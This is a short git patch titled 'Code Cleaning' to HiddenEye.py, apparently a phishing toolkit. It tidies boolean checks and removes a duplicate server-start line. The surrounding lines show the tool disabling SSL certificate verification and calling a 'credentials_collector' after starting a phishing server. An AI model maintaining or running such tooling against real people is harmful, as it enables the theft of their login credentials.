From 81a966eeb8c583279e62529a0468092d34d28374 Mon Sep 17 00:00:00 2001 From: DarkMidus <39868305+darkmidus@users.noreply.github.com> Date: Thu, 14 May 2020 15:30:36 -0500 Subject: [PATCH] Code Cleaning --- HiddenEye.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/HiddenEye.py b/HiddenEye.py index 33d9c68..91d0434 100755 --- a/HiddenEye.py +++ b/HiddenEye.py @@ -19,10 +19,10 @@ import ssl simple_informant.license_handler() agreement = simple_informant.terms_of_service_message() -if agreement != True: +if not agreement: exit() -if(not environ.get('PYTHONHTTPSVERIFY', "") and getattr(ssl, '_create_unverified_context', None)): +if not environ.get('PYTHONHTTPSVERIFY', "") and getattr(ssl, '_create_unverified_context', None): ssl._create_default_https_context = ssl._create_unverified_context simple_informant.check_permissions() @@ -47,7 +47,6 @@ if __name__ == "__main__": ############## server_runner.start_server(port) server_menu.server_selection(port) - multiprocessing.Process(target=server_runner.start_server, args=(port,)).start() simple_informant.credentials_collector(port)